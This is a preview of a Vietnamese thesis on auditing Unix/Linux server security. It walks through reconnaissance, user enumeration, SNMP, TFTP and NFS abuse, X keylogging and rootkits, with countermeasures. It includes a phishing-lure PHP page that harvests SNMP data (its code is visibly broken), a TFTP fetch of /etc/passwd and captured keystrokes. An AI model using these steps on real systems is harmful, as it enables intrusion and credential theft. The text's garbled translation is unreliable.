1. Trang chủ
  2. » Tất cả

Đồ án tốt nghiệp đánh giá an toàn hệ thống máy chủ sử dụng unix linux

59 854 2
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 59
Dung lượng 2,13 MB

Nội dung

+ Danh sách các máy chủ hoạt động + Quy trình đang chạy trên các máy chủ + Danh sách người sử dụng + Danh sách mạng, các máy chủ và mối quan hệ giữa chúng + Phiên bản của nhân sử dụng tr

Trang 1

1 Đánh giá an toàn hệ thống máy chủ sử dụng Unix/Linux

Mô tả: Hệ thông Unix thường bị tấn công nhiều hơn hệ thống windows Có nhiều lý

do liên quan tới điều này như:

+ Mã nguồn mở: Unix là mã nguồn mở với nhiều lỗi đươc tìm thấy và được khai thác trong mã nguồn Ngay khi lỗi được phát hiện thì các quản trị viên vá lỗi ngay lập tức

+ Tính sẵn sang: Có nhiều GNU Linux và Unix kết nối tới mạng

+ Danh sách các máy chủ hoạt động

+ Quy trình đang chạy trên các máy chủ

+ Danh sách người sử dụng

+ Danh sách mạng, các máy chủ và mối quan hệ giữa chúng

+ Phiên bản của nhân sử dụng trong các hệ điều hành

ta là cố gắng bảo vệ mạng đầy đủ Không chỉ nó là lỗ hổng truy cập từ xa

+ Tuy nhiên, chúng ta có thể cung cấp những ý kiến có bản hoặc hướng dẫn cho bạn như sau:

+ Kiểm tra giao thức thông thường

+ Kiểm tra hệ điều hành Unix

Trang 2

+ Tấn công theo vùng miền

a Tấn công theo quyền truy cập tập tin và thư mục

b Tấn công theo liên kết tượng trưng

c Tấn công theo điều kiện

d Tấn công hệ thống cuộc gọi

e Tấn công key logger

f Khởi động từ hệ điều hành khác

1.2 Xác định hoạt động máy chủ

+ Có khả năng lập bản đồ mạng lưới chung và riêng, sẽ cung cấp với các yếu tố cơ bản

để bắt đầu một cuộc tấn công đầy đủ, và có tổ chức Một trong những điều cần thiết

để phân chia giữa các máy chủ, máy tính để bàn và các thiết bị ( như thiết bị định tuyến, chuyển mạch, máy in,….) Luôn luôn là quan trọng cần nhớ rằng chúng ta phải thiết lập mục tiêu và sử dụng nguôn lực thông tin được tìm thấy trong cách thực hiện Phương pháp tiếp cận khác nhau để máy chủ hoạt động, chúng ta sử dụng quét qua ( cung cấp các thông tin trên nhiều máy chủ được sử dụng) và hoạt động quét

+ Hoạt động quét: Cụ thể “Active” biểu thị hành động đó, khi thực hiện, làm cho mục tiêu nhận được các gói dữ liệu được tạo ra trực tiếp hoặc gián tiếp

Hoạt động quét là chúng ta sử dụng công cụ NMap để quét một loạt các địa chỉ IP với các phương pháp quét khac nhau Bạn có thể biết địa chỉ IP hoặc tên máy cho mục tiêu của mình Chúng ta có thể sử dụng tên máy hay nslookup để tìm máy chủ bổ sung trong mạng

Target: somesite.dom

Nslookup -type=NS somesite.dom sẽ cung cấp với bản ghi NS cho somesite.dom Bản ghi NS nói cho chúng ta biết địa chỉ của tên máy chủ somesite.dom sử dụng lưu trữ thông tin DNS Trong trường hợp nhận được ns1.provider.net và ns2.provider.net

là tên máy chủ, chúng ta cần có được địa chỉ IP của chúng Vì vậy chúng ta có thể chuyển vùng(AXFR) dựa trên tên máy chủ, có thẩm quyền cho somesite.dom, và có được một danh sách của tất cả các bản ghi DNS của somesite.dom:

Nslookup –type=A ns1.provider.net

Chúng ta có địa chỉ ip của ns1.provider.net Để sử dụng lệnh trên máy chủ để chuyển đổi AXFR:

host -l somesite.dom IP_OF_NS1_PROVIDER_NET

Nếu các tên máy chủ và tường lửa đều lỗi( có nghĩa là không có kiểm soát truy cập quy định cho di chuyển vùng được thiết lập trên các máy chủ và không có quy định phù hợp được thiết lập trên tường lửa cho việc lọc cổng 53/tcp, là được sử dụng để di chuyển vùng) Hoạt động có thể được lặp đi lặp lại và kết quả được lưu trên các tập

Trang 3

tin Bằng cách này mà chúng ta có thể bổ sung, khám phá ra nếu người quản lý máy chủ có một dự phòng, thích hợp, thiết lập tên máy chủ.

Đó là một ý tưởng hay để cố gắng khám phá các quản trị viên hệ thống những gì tốt theo cách này, chúng ta có thể lập kết hoạch cho các cuộc tấn công

Mặt khác, một tình trạng khá điển hình là một doanh nghiệp thường thuê hơn một địa chỉ IP công cộng, và thông thường, nhà cung cấp dịch vụ giao một khối( theo kỹ thuật thì một mạng con với 24 hoặc ít hơn) ví dụ, nếu bạn có một trang web công ty tại www.somesite.dom, và nó tương ứng với một IP chung đia chỉ x.y.z.204, thì bạn có thể traceroute tới nó, xem đó là bước trước Nếu nó là từ một mạng con, thì nó bao gồm router và firewall Dùng nmap để quét hệ điều hành Ngoài ra sự khác biệt giữa địa chỉ IP của máy chủ web và các router có thể cung cấp một ý tưởng lớn

Như thường thấy máy chủ hoạt động đôi khi chồng chéo lên nhau với việc xác định các cổng và các dịch vụ

+ Quét thụ động:

Trong cùng một switch hoặc hub bạn có thể sử dụng kỹ thuật quét thụ động, nơi mà không có gói tin được gửi đến mạng, nhưng bộ chuyển đổi mạng của bạn, kết hợp với sniffer giống với ettercap, do đó cho thấy các địa chỉ IP được tìm thấy và tùy chọn hệ điều hành

1.3 Xác định cổng và dịch vụ

Chúng ta biết SMTP chạy trên công 25, SSH chạy trên cổng 22, HTTP chạy trên cổng

80 Tuy nhiên một số quản trị viên, bảo mật thông qua cách tiếp cận không tốt,đó là

lý do tại sao mà nó thường là quan trọng đối với cổng quét qua hai giai đoạn:

Đầu tiên: Tìm kiếm các cổng phổ biến, ví dụ, sử dụng nmap Nếu chúng ta tìm thấy hoặc cảm giác nhiều dịch vụ có thể đang chạy

Thứ hai: Chúng ta có thể bắt đầu quét một giây để xác định bản đồ phạm vi cổng(tcp

và udp), từ 1 tới 65535.Nmap –sV dich vụ phát hiện trên toàn cổng không chuẩn, và

sẽ cung cấp một phần của byte đọc từ kết nối khi nó không thể xác định dịch vụ đang chạy trên nó Nmap –T cho phép làm chậm một máy quét Tất nhiên nó sẽ mất nhiều thời gian để kết thúc Ngoài rat hang số -f, sử dụng phân mảnh gói tin trong quá trình quét

Các khía cạnh quan trọng từ cổng và dịch vụ quét liên quan tới kiến thức của người quản trị hệ thống

1.4 Tấn công liệt kê

+ Tấn công liệt kê được sử dụng lấy thông tin từ dịch vụ liên quan Ví dụ, từ NetBIOS chúng ta có thể lấy chia sẻ, tên máy tính, tên dịch vụ, hệ điều hành liên quan,

….Chúng ta có thể nhận được tên người dùng và bao lâu và bao nhiêu làm việc trên

hệ thống Chúng ta sẽ cung cấp các ví dụ của các kiêu liệt kê khác nhau

1.4.1 Xác định người sử dụng

Mục tiêu:

Để đưa ra lợi thế của lỗi cấu hình trên các dịch vụ hoặc giao thức khác nhau để có được kiến thức sâu sắc hơn về cơ sở người dùng Nhiều lần GNU+ Linux dựa trên các

Trang 4

hộp cài đặt như tường lửa, máy chủ VPN hoặc gateway, do đó người dùng cục bộ không được sử dụng nhiều.

+ Giúp kể tấn công phỏng đoán tài khoản người sử dụng

+ Giúp kẻ tấn công phỏng đoán hệ thống hệ điều hành

Directory: /root Shell: /bin/bash

On since Mon Oct 13 22:06 (IST) on tty1 54 seconds idle

On since Mon Oct 13 23:53 (IST) on tty2 17 minutes 4 seconds idle

On since Mon Oct 13 23:39 (IST) on tty3 4 hours 56 minutes idle

On since Mon Oct 13 23:39 (IST) on tty4 4 hours 56 minutes idle

On since Mon Oct 13 22:06 (IST) on :0 (messages off)

On since Mon Oct 13 22:34 (IST) on pts/0 from :0.0

50 minutes 6 seconds idle

On since Tue Oct 14 04:20 (IST) on pts/2 from 203.124.156.112

30 minutes 15 seconds idle

On since Tue Oct 14 00:46 (IST) on pts/5 from :0.0

1 hour 7 minutes idle

Mail last read Tue Oct 14 04:04 2003 (IST)

No Plan

# finger @target.com

Login: broot Name: Mr Root

Directory: /root Shell: /bin/bash

Last login Wed Jan 30 09:43 2002 (CET) on console

No Plan

Login: nonroot Name: Non-root root user for NFS

Directory: /nonexistent Shell: nologin

Never logged in

No Plan

Trang 5

Login: root Name: Mr Root Directory: /root Shell: /bin/sh Last login Wed Jan 30 09:43 2002 (CET) on console

No Plan

# finger 'a b c d e f g h'@www sun-target.com+ Những biện pháp đối phó

Xinetd/tcp wrapper sử dụng để kiểm soát truy cập dịch vụ như sau:

+ Host/ip+ Người dùng+ Nhóm người dùng+ Thời gian truy cập+ Khuyến khich mạnh mẽ để chặn các cổng trên router/firewall

+ Vô hiệu hóa các dịch vụ nếu không được sử dụng từ tập tin cấu hình /etc/inetd.conf

và khởi động lại tiến trình

+ Vô hiệu hóa các dịch vụ nếu không được sử dụng từ /etc/xinetd.conf và khởi động lại tiến trình xinetd

+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services Máy khách cần chạy các dịch

vụ trên cùng một cổng như máy chủ

+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ tường lửa nào(iptables)

1.4.1.2 Xác định người sử dụng: RWHO

Mô tả

Điều này tương tự như finger Tấn công chỉ dành cho các phân đoạn khu vực nó là kết nối từ xa Đó là sự kết hợp thông tin từ toàn bộ hệ thống trong một mạng cục bộ đang chạy rwho Nó hoạt động trên udp cổng 513

Phân tích / kết luận / quan sát

Như bạn có thể nhìn thấy Wally Becky và smith trực tuyến và Wally là nhàn rỗi hơn một giờ Đây là những chi tiết chúng ta có thể sử dụng để kiểm tra người xem và người hoạt động

Trang 6

+ Host/IP+ người sử dụng+ nhóm người sử dụng+ thời gian truy cập+ Yêu cầu ngăn chặn các cổng trên router/firewall.

+ Vô hiệu hóa các dịch vụ nếu không được sử dụng /etc/xinetd.conf(hoặc loại bỏ tệp tin finger từ xinetd.d) và khởi động lại quá trình xinetd

+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services Máy khách cần chạy các dịch

vụ trên cùng một cổng như máy chủ

+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ tường lửa nào(iptables)

1.4.1.3 Xác định người sử dụng: RUSER

Mô tả

Điều này là tương tự như đối với những người mà duy nhất của mạng lưới địa phương

Nó được sử dụng để cung cấp thông tin về người hiện đang đăng nhập vào hệ thống trong mạng nội bộ Hoạt động trên udp cổng 513

Từng bước thực hiện

#rusers –a <target IP>

ƒ #rusers -l <target IP>

Ví dụ/ Kết quả

#rusers –a <target IP>

[root@localhost root]# rusers -a 192.168.0.60 192.168.0.60 root root root root gaurav

Phân tích/kết luận/ quan sát

Điều này sẽ đến với tên người dùng với các máy tương ứng, và tên máy chủ thậm chí nếu không có ai là loggd trên chúng Tên máy chủ thường hữu ích để vẽ sơ đồ mạng Tên người dùng bình thường đi kèm tiện dụng trong khi cố gắng truy cập

Ví dụ / kết quả

#rusers -l <target>

[root@localhost root]# rusers -l 192.168.0.60 root 192.168.0.60:tty1 May 11 22:02 :01 root 192.168.0.60:pts/0 May 12 02:00 :01 (192.168.0.100) root 192.168.0.60:pts/1 May 12 00:35 :16 (192.168.0.1) root 192.168.0.60:pts/2 May 12 01:39 :15 (192.168.0.70) gaurav 192.168.0.60:pts/3 May 12 01:41 (192.168.0.1)

Biện pháp đối phó

Vô hiệu hóa dịch vụ nếu không cần thiết sử dụng

+ Vô hiệu hóa các dịch vụ rusers nếu không sử dụng /etc/inetd.conf và khởi động lại tiến trình

+ Sử dụng xinetd/tcpwarppers để kiểm soát các dịch vụ truy cập như sau:

+ người sử dụng+ nhóm người sử dụng

Trang 7

+ thời gian truy cập+ Yêu cầu ngăn chặn các cổng trên router/firewall.

+ Vô hiệu hóa các dịch vụ nếu không được sử dụng /etc/xinetd.conf(hoặc loại bỏ tệp tin finger từ xinetd.d) và khởi động lại quá trình xinetd

+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services Máy khách cần chạy các dịch

vụ trên cùng một cổng như máy chủ

+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ tường lửa nào(iptables)

250 kartikeya puri <user@target>

expn all 250-someone somewhere <user@target1>

250-another guy <root@target1>

250-yetanotehr guy <guest@target2>

250-real babe babe@babevilla

Phân tích/ kết luận/ quan sát

Bất kỳ lần nào người sử dụng giữ mật khẩu như một sự kết hợp của tên đầy đủ của họ Thông tin này có thể được sử dụng cho các cuộc tấn công kỹ thuật xã hội tốt Một lệnh expn Nó tương tự như lệnh vrfy, ngoại trừ trong trường hợp của một danh sách gửi thư, hoặc danh sách mở rộng, nó sẽ hiển thị tất cả các thành viên của danh sách đó Lệnh SMTP expn bắt nguồn từ MTA để mở rộng ( hiển thị tất cả những người nhận) của một địa chỉ Để minh họa rủi ro, xem xét nhiều trang web có bí danh mà bao gồm tất cả hoặc một bộ phận lớn người sử dụng Tên bí danh như vậy thường có thể dễ dàng đoán, chẳng hạn như tất cả( như được sử dụng trong ví dụ trên), tất cả mọi người, người sử dụng hoặc

Trang 8

nhân viên Một thăm dò đơn giản để tất cả đưa ra danh sách của người sử dụng theo bí danh đó.

Phân tích/ kết luận/ quan sát

Điều này sẽ thăm dò dịch vụ portmap trên các máy chủ sử dụng phiên bản 2 của giao thức portmap và hiển thị danh sách của tất cả được đăng ký chương trình RPC Nên nhớ rằng NFS chạy trên RPC Nếu quá trình RPC được liệt kê, showmount –e $target có thể thăm dò hưu ích

Biện pháp đối phó

Hạn chế truy cập từ tường lửa/router, hoặc vị trí bất kỳ không cần thiết Dừng dịch vụ portmap nếu RPC không được sử dụng Nên nhớ các chương trình quan trọng sau sử dụng RPC: NFS, NIS, Wall, rstatd, r services

1.5 Kiểm tra giao thức phổ biến

Trang 9

Mục tiêu

Để biết chi tiết cấu hình và viết truy cập đến các thiết bị

Dự kiến kết quả

Phụ thuộc vào loại thiết bị

Điều kiện tiên quyết

Dịch vụ SNMP được chạy trên máy tính mục tiêu

Quá trình

Xác định các chuỗi SNMP trên mục tiêu

Gán giá trị MIB bằng SNMP walking và pilfer cho thông tin

Thỏa hiệp hệ thống

1.5.1.1 Xác định các chuỗi SNMP

Mô tả

Điều này có thể đạt được theo hai cách:

1.Dự đoán chuỗi sở hữu chung

Trang 10

Chức năng PHP dành cho SNMP walk

Mô tả

PHP có chức năng sẵn có để thực hiện SNMP walking Các định dạng cho chức năng snmpwalk là một mảng snmpwalk (chuỗi tên máy chủ, chuỗi nhóm người sử dụng, chuỗi object_id, thời gian chờ)

Snipet từ tài liệu PHP dành cho snmpwalk “ trả về một mảng của các đối tượng SNMP giá trị bắt đầu từ object_id như quyền root và FALSE về lỗi”

Chức năng snmpwalk được sử dụng để đọc tất cả các giá trị từ một tác nhân SNMP theo quy định của tên máy chủ Một nhóm quy địn cụ thể các nhóm đọc cho các tác nhân Một đối tượng là NULL được thwucj hiện như là quyền root của đối tượng cây SNMP và toàn

bộ các đối tượng con của cây đó được trả về như là một mảng Nếu object_id được quy định cụ thể, tất cả các đối tượng SNMP dưới đây object_id được trả về

Điều kiện tiên quyết

Một trong những điều cần phải biết những tên cộng đồng Nếu các tên mặc định cồng đồng “riêng tư” và “công cộng” được kích hoạt, sau đó các mã sau đây sẽ làm việc tốt

Từng bước thực hiện

1.Thay đổi tên chuỗi riêng tư hoặc công cộng nếu cần

2 Trang máy chủ trên web-server với hỗ trợ PHP4

3 Đánh lừa người sử dụng vào sử dụng trang này.( Một thư điện tử giả mạo có thể được sử dụng)

4 Tải xuống data.txt để đọc kết quả

<?php

ip = getip(); // Getting the ip of target machine

$filename = "data.txt"; // this file needs to reside on server

$useragent = $_SERVER['HTTP_USER_AGENT']; // capturing the browser name (for OS guessing)

$date = date("F j, Y, g:i a"); // to keep track of who visited the page when

$fh = fopen($filename, "a") or die("Internal error");

$a = snmpwalk('$ip', "public", "") or die("Internal Error");

$b = snmpwalk('$ip', "private","") or die("Internal Error");

for ($i=0; $i < count($a); $i++) {

echo $a[$i];

$data = $ip "|" $useragent "|" $date "|" $a[i] "\n";

fwrite($fh , $data) or die("Internal Error");

}

for ($i=0; $i < count($b); $i++) {

echo $b[$i];

$data = $ip "|" $useragent "|" $date "|" $b[i] "\n";

fwrite($fh , $data) or die ("Internal Error");

}

fclose($fh);

echo "This page is down for maintainence";

//the following function will get machines ip, depending upon the settings Thanks

Shaolin Tiger for help with this bit

Trang 11

Phân tích/ kết luận/ quan sát

Kẻ tấn công gửi một liên kết độc hại tới mục tiêu Mục tiêu nhấp chuột vào nó và mã nội tuyến thực hiện, thu thập thông tin nhạy cảm từ mục tiêu và gửi nó cho kể tấn công Điều này là tránh khổi proxy/firewall trong quá trình này

Biện pháp đối phó

+ Nếu dịch vụ không phải là hoàn toàn cần thiết , vô hiệu hóa nó

+ Bộ lọc luồng thông tin SNMP(TCP/UDP 161, 162) ở tường lửa Cho phép mạng con tin cậy để thăm dò ý kiến hoặc quản lý các thiết bị bên ngoài trừ khi nó không thể tránh được

+ Hãy xem xét các chuỗi nhóm quan trọng như mật khẩu và cách áp dụng thực hành tốt nhất

+ Thử sử dụng SNMP v3 với xác thực thông điệp và mã hóa PDU

+ Triển khai tường lửa dựa trên các máy chủ (hệ thống kiểm soát truy cập) để lọc lưu lượng truy cập SNMP

+ Tạo ra MIBs chỉ đọc bất cứ nơi nào có thể

1.5.2 Kiếm tra giáo thức truyền nhận tập tin(TFTP).

Mô tả

TFTP sử dụng UDP để truyền dữ liệu và nó là một giao thức ít kết nối, mà không hỗ trợ

xác thực TFTP là một dịch vụ FTP được giới hạn và không xác thực Nó hỗ trợ thiết lập các lệnh giới hạn Nó thường được sử dụng bởi bộ định tuyến, chuyển mạch và các thiết

bị khác để kết nối đến máy chủ TFTP trong quá trình nâng cấp Firmware

Mục tiêu

Để lấy các tập tin mà không có vấn đề xác thực

Dự kiến kết quả

Trang 12

Thông tin có thể được sử dụng để tiếp tục thỏa hiêp hệ thống: các tệp tin cấu hình, các bản ghi, vv…

Điều kiện tiên quyết

Một máy chủ TFTP truy cập trên mạng mục tiêu hoặc các trang web liên quan

Phân tích/ kết luận/ quan sát

Kẻ tấn công tại TFTP, bước kế tiếp là kiểm tra trạng thái

1.5.2.2 Kiểm tra trạng thái của máy

Phân tích/ kết luận/ quan sát

Kiểm tra trạng thái được thực hiện, giá trị thời gian tấn công và khác nhau các thuộc tính

1.5.2.3 Kết nối máy chủ TFTP

Ví dụ / kết quả

tftp> connect < target IP >

Phân tích/ kết luận/ quan sát

Dấu nhắc (tftp_) sẽ xuất hiện trở lại và nó cho thấy kẻ tấn công đó kết nối được với mục tiêu

1.5.2.4 Dự đoán và lấy các tập tin

Mô tả

Trong bước này, kẻ tấn công cần phải đoán tập tin có liên quan với đường dẫn Hầu hết các tập tin về thời gian được đặt tại vị trí mặc định Tên tập tin thì dễ đoán

Ví dụ /kết quả

tftp>get /etc/passwd /tmp/passwd.system

Phân tích/ kết luận/ quan sát

Kẻ tấn công tải về thành công các tập tin mật khẩu Cùng một cách bất kỳ tập tin khác có thể cũng cho phép tải về tập tin cấu hình

Biện pháp đối phó

+ TFTP là văn bản, xem xét việc sử dụng an toàn tftp như một thay thế

+ Hạn chế truy cập đến máy chủ TFTP trong tường lửa/ thiết bị định tuyến router+ Chuyển các tập tin nhạy cảm từ các vị trí mặc định

+ Xác định các mức độ truy cập tập tin

+ Trong trường hợp của Linux : /etc/tftpaccess.ctl

Trang 13

1.6 Kiểm tra hệ thống UNIX

1.6.3 Tràn bộ đệm

Mô tả

Lỗi tràn bộ đệm gây ra khi dữ liệu được sao chép từ một bộ đệm nguồn đến bộ đệm đích không có giới hạn kiểm tra và ghi đè lên các vùng quan trọng của bộ nhớ mà kết quả trong việc kiểm soát của chương trình mục tiêu bằng cách thay đổi địa chỉ trở về của một hàm và làm cho nó thực hiện một bộ đệm định nghĩa việc tấn công được gọi là

“shellcode”

Về mặt kỹ thuật, bộ đệm thường được đặt bên cạnh cấu trúc dữ liệu “chú ý” trình biên dịch Ví dụ trong trường hợp của một chức năng mà có một bộ đệm trên stack, trả lại địa chỉ chức năng được đặt trong bộ nhớ sau bộ nhớ đệm Vì vậy, nếu kẻ tấn công có thể trang bộ đệm, có thể ghi đè lên địa chỉ trả về hàm chức năng để khi hàm trả về nó sẽ trả

về một địa chỉ xác định bởi kẻ tấn công Khác cấu trúc dữ liệu bao gồm C++, địa chỉ xử

lý ngoại lệ, chức năng con trỏ

Lỗi tràn bộ đệm là các lỗi lập trình phổ biến nhất, dẫn đến khai thác các mục tiêu chương trình và sự leo thang đặc quyền, lập bản đồ được thực hiện cho chương trình đó đang chạy với đặc quyền nâng cao và nhị phân sẽ được kiểm tra cho bộ đệm quản lý yếu kém

để có chỗ cho các biến địa phương được tăng POP thì ngược lại Điều này là hàng đợi LIFO vào sau ra trước

Ngăn xếp bao gồm các chức năng sau:

Trang 14

Strcat(), sprint(); strcpy(), gets(), vv Bất cứ nơi nào mà các biến không được kiểm soát đặt vào một bộ đệm chiều dài cố định Một thực tế phổ biến là sử dụng n –biến của những chức năng: strncat, snprintf, strncpy, fgets thay vì gets, vv….

1.6.5 Tràn bộ nhớ heap

Các biến cấp phát động được phân bố bởi malloc() được tạo ra trên đống Không giống như ngăn xếp, đống phát triển trở lên trên hầu hết các hệ thống, biến mới được tạo ra trên đống được đặt tại địa chỉ bộ nhớ cao hơn so với biến cũ Trong một cuộc tấn công tràn bộ đệm đơn giản dựa trên đống , một kể tấn công tràn bộ đệm thì thấp hơn đống, ghi đè lên các biến động khác …hệ thống hệ điều hành khác nhau sử dụng các triển khai malloc khác nhau, ví dụ: Linux sử dụng thành phần malloc nơi như cửa sổ sử dụng RTL đống.Một số ứng dụng yêu cầu một khối bộ nhớ sử dụng giao diện malloc, sau đó xảy ra lỗ hổng tràn bộ đệm Bằng cách này, dữ liệu có thể được thay đổi Có thể các cơ cấu quản lý malloc có thể bị tổn hại, khai thác tràn malloc cấp phát bộ đệm là thay đổi quản lý thông tin một cách mà sẽ cho phép bộ nhớ tùy ý ghi đè sau đó Theo cách này con trỏ có thể được ghi đè trong quá trình bộ nhớ có khả năng ghi, do đó cho phép sửa đổi, bổ sung địa chỉ lại, các bảng liên kết hoặc mức độ ứng dụng dữ liệu

Kẻ tấn công tràn số nguyên tràn bộ đệm bằng cách kích hoạt một số các vấn đề liên quan đến số nguyên, hầu hết số lần đếm vòng lặp Sử dụng đầu vào khi vòng lặp ràng buộc; do

đó một bộ đệm là tràn trên lặp đi lặp lại Trong vòng lặp dẫn đến tràn, tràn số nguyên cũng xảy ra trong khi phân bố dữ liệu bằng cách sử dụng một số hình thức của các số nguyên số học trong khi cấp phát bộ nhớ động như malloc và alloc

1.6.7 Kiểm tra tấn công kiểu dữ liệu

Trong ngôn ngữ C và C++ có thể khai báo các chức năng có một biến số Cách nhiều đối

số thực sự là một vài ví dụ về các chức năng này là printf()(, sprint(), wsprintf(), tham số đầu tiên được gọi là chuỗi định dạng dữ liệu là những kiểu dữ liệu khác nhau Chuỗi định dạng cho phép bạn thao tác ngăn xếp bằng cách sử dụng định dạng dữ liệu khác nhau trong ngôn ngữ c/c++, định dạng chuỗi tấn công chủ yếu là do lỗi lập trình gây ra

Những kẻ tấn công có thể thao tác ngăn xếp và kết quả khai thác các chương trình khi gặp lỗi như vậy được thực hiện, tấn công có thể được khai thác nếu có thể kiểm tra bộ đệm chuyển đổi định dạng lỗi

1.6.8 Phân tích lỗi cú pháp

Trang 15

Lỗi phân tích cú pháp chủ yếu gây ra do thiểu sự tỉnh táo kiểm tra đầu vào thông qua bộ đệm, hầu hết thời gian chương trình chấp nhận bộ đệm và sau đó phân tích cú pháp bộ đệm và chuyển nó vào chương trình, khi bộ đệm là người sử dụng kiểm soát nó và thông qua thói quen phân tích những kẻ tấn công có thể là thủ công để khai thác phân tích chức năng và tràn bộ đệm của chương tình mục tiêu.

1.6.9 Tấn công chia sẻ NFS

Showmount –e

+ Xác định lệnh cài đặt nfs+ cd/etc và passwd

+ Thay đổi giá trị UID/GID cho người sử dụng đặc quyền khác UID 2, GID 2+ Thực hiện nfs client

+ Lỗ hổng nfs3.Phân đoạn thông thường

4 Tiện người sử dụng có thể dùng thủ công BO bằng cách sử dụng các chương trình gốc SUID

1.6.10 Kiểm tra chia sẻ NFS

Shell truy cập vào hệ thống

Điều kiện tiên quyết

NFS chia sẻ được kích hoạt

Phân tích/ kết luận/ quan sát

Kẻ tấn công tìm kiếm các mật khẩu từ trong phần gắn kết chia sẻ Các lệnh trên sẽ in

ra các dong chứa “mật khẩu”, từ tất cả các tệp tin trong phần chia sẻ /share

Trang 16

hàng có thể nắm bắt tổ hợp phím của người sử dụng giao diện điều khiên, chụp màn hình để hiển thị nơi khác Hầu hết các vấn đề gốc từ một mô hỉnh kiểm soát truy cập yếu hoặc không không đảm bảo một phần của quản trị viên hệ thống Hình thức đơn giản và phổ biến nhất kiểm soát truy cập X là xác thực X-hosy Cơ chế này cung cấp kiểm soát truy cập theo địa chỉ IP và là hình thức yếu nhất của xác thực X.

Ví dụ / kết quả

[localhost]$ xscan target_machine

Scanning hostname quake

Connecting to quake (target_machine) on port 6000

Connected

Host quake is running X

Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0

Now any keystrokes typed at the console will be captured to the KEYLOG.quake file

[localhost]$ tail -f KEYLOG.quake:0.0

su -

[Shift_L]Iamowned[Shift_R]!

Tail nhanh chóng các tập tin đăng nhập cho thấy những gì người dùng gõ trong thời gian thực Trong ví dụ của chúng ta, người sử dụng sử dụng lệnh su tiếp theo là mật khẩu gốc Xscan thậm chí sẽ lưu ý nếu các phím SHIFT được ấn Nó cũng dễ dàng cho kẻ tấn công xem màn hình cụ thể

1.6.12 Tấn công RPC

Mô tả

Các cuộc gọi thủ tục từ xa (RPCs) cho phép một quản trị viên thực hiện lệnh trên máy tính nối mạng để làm cho quy mô quản lý lơn và hiệu quả hơn Bởi vì chúng được sử dụng để chạy các lệnh quản trị, các dịch vụ RPC thường chạy với các đặc quyền cao nhất trên hệ thống Lịch sử lâu dàu một cách dễ dàng khai thác lỗ hổng, các dịch vụ RPC là một mối đe dọa đối với bất kỳ tổ chức nào

Trang 17

được thông qua giao thức này Như vậy, khả năng tương tác là một vấn đề lớn Cuối cùng đảm bảo rằng tất cả các nhà cung cấp các bản vá lỗi mới nhất được áp dụng.

1.6.13 Tấn công lời gọi hệ thống

Sự khác biệt giữa một rootkit bình thường và một Rootkit LKM là rất đơn giản:

Rootkit bình thường thay thế các tiện ích hệ thống cho phép kẻ tấn công để ẩn các tập tin, quy trình và các kết nối mạng Một Rootkit LKM, mặt khác, một cái gì đó nhiều hơn một chút thú vị:

nó thay thế vị trí của cuộc gọi hệ thống, thay đổi tổ chức địa chỉ bộ nhớ cho một vài thứ khác, và các vị trí khác nhau là một phiên bản trojanized của cuộc gọi hệ thống Vì vậy, chúng không cần phải sửa đổi các tiện ích(hoặc thư viện), chỉ đơn giản là thay thế những tiện ích và các thư viện

sử dụng những gì! Sắp xếp rootkit theo tên của Rkit và LKM

Dưới đây là danh sách các cuộc gọi hệ thống thường thay đổi: sys_clone, sys_close, sys_execve, sys_fork, sys_ioctl, sys_kill, sys_mkdir, sys_read, sys_readdir, sys_write

Cách duy nhất một LKM rootkit có thể được phát hiện bằng cách phân tích nhân bộ nhớ trực tiếp Một trong những cách để làm điều này là để so sánh các địa chỉ lời gọi hệ thống Nhiệm vụ này có thể được thự hiện dễ dàng bằng cách sử dụng các công cụ như kstat, đọc nhân bộ nhớ thông qua /dev/kmem Kstat cung cấp thông tin về tiến trình đang chạy thông qua chuyển đổi ‘-P’, trong đó bao gồm các quá trình ẩn So sánh đầu ra với “ps aef” Bạn có thể truy vấn một quá trình id cụ thể với tham số ‘-p’ Để phân tích địa chỉ lời gọi hệ thống bạn nên xác định “-s” chuyển đổi Sauk hi cài đặt hệ thống ban đầu và cấu hình đầy đủ, ghi “kstat-s” đầu ra Địa chỉ bộ nhớ sẽ cung cấp các giá trị chính xác bạn có thể so sánh thời gian Với các cảnh báo cho thấy khả năng hệ thống được thỏa hiệp Kstat cúng có thể thực hiện như một thay thế cho lsmod với chuyển đổi ‘M’ Bạn có thể đọc cac nhân module Trojan trên danh sách

Để biết thêm về rootkit, hay kiểm tra các trang web dưới đây:

www.chkrootkit.org/

http://www.buanzo.com.ar/sec/Rootkits.html

1.6.14 Race điều kiện

Một race điều kiện là một tình huống không mong muốn xảy ra khi một thiết bị hoặc hệ thống nỗ lực để thực hiện hai hoặc nhiều hoạt động tại cùng một thời điểm, các hoạt động phải được thực hiện theo trình tự thích hợp để có thể được thực hiện một cách chính xác Điều kiện có thể phát sinh trong các chủ đề, các tập tin bất kỳ được truy cập bằng nhiều hoạt động

Ví dụ:

Một race điều kiện đa luông trong việc xử lý các yêu cầu RPC Do một lỗ hổng trong phần mền này, hai chủ đề riêng biệt có thể xử lý các yêu cầu RPC đến Một trong những chủ đề có thể giải phóng bộ nhớ được phân bổ để giữ các gói tin đi vào trước khi các chủ đề khác được xử lý xong các gói tin Như một kết quả, Lỗi bộ nhớ có thể xảy ra

1.6.15 Tấn công Key Logger

Trang 18

Quy trình kiểm tra

Sử dụng các tiện ích theo dõi hệ thống để phát hiện các tiến trình, chương trình lạ đang thực thi trong hệ thống

Công cụ kiểm tra

Nhằm đảm bảo an toàn ở mức vật lý cho hệ thống

Quy trình kiểm tra

+ Kiểm tra an toàn cho các thiết bị vật lý

+ Kiêm tra thiết lập mật khẩu cho BIOS

+ Kiểm tra thiết lập mật khẩu cho trình khởi động (Boot Loader)

2 Đánh giá an toàn hệ thống máy chủ window

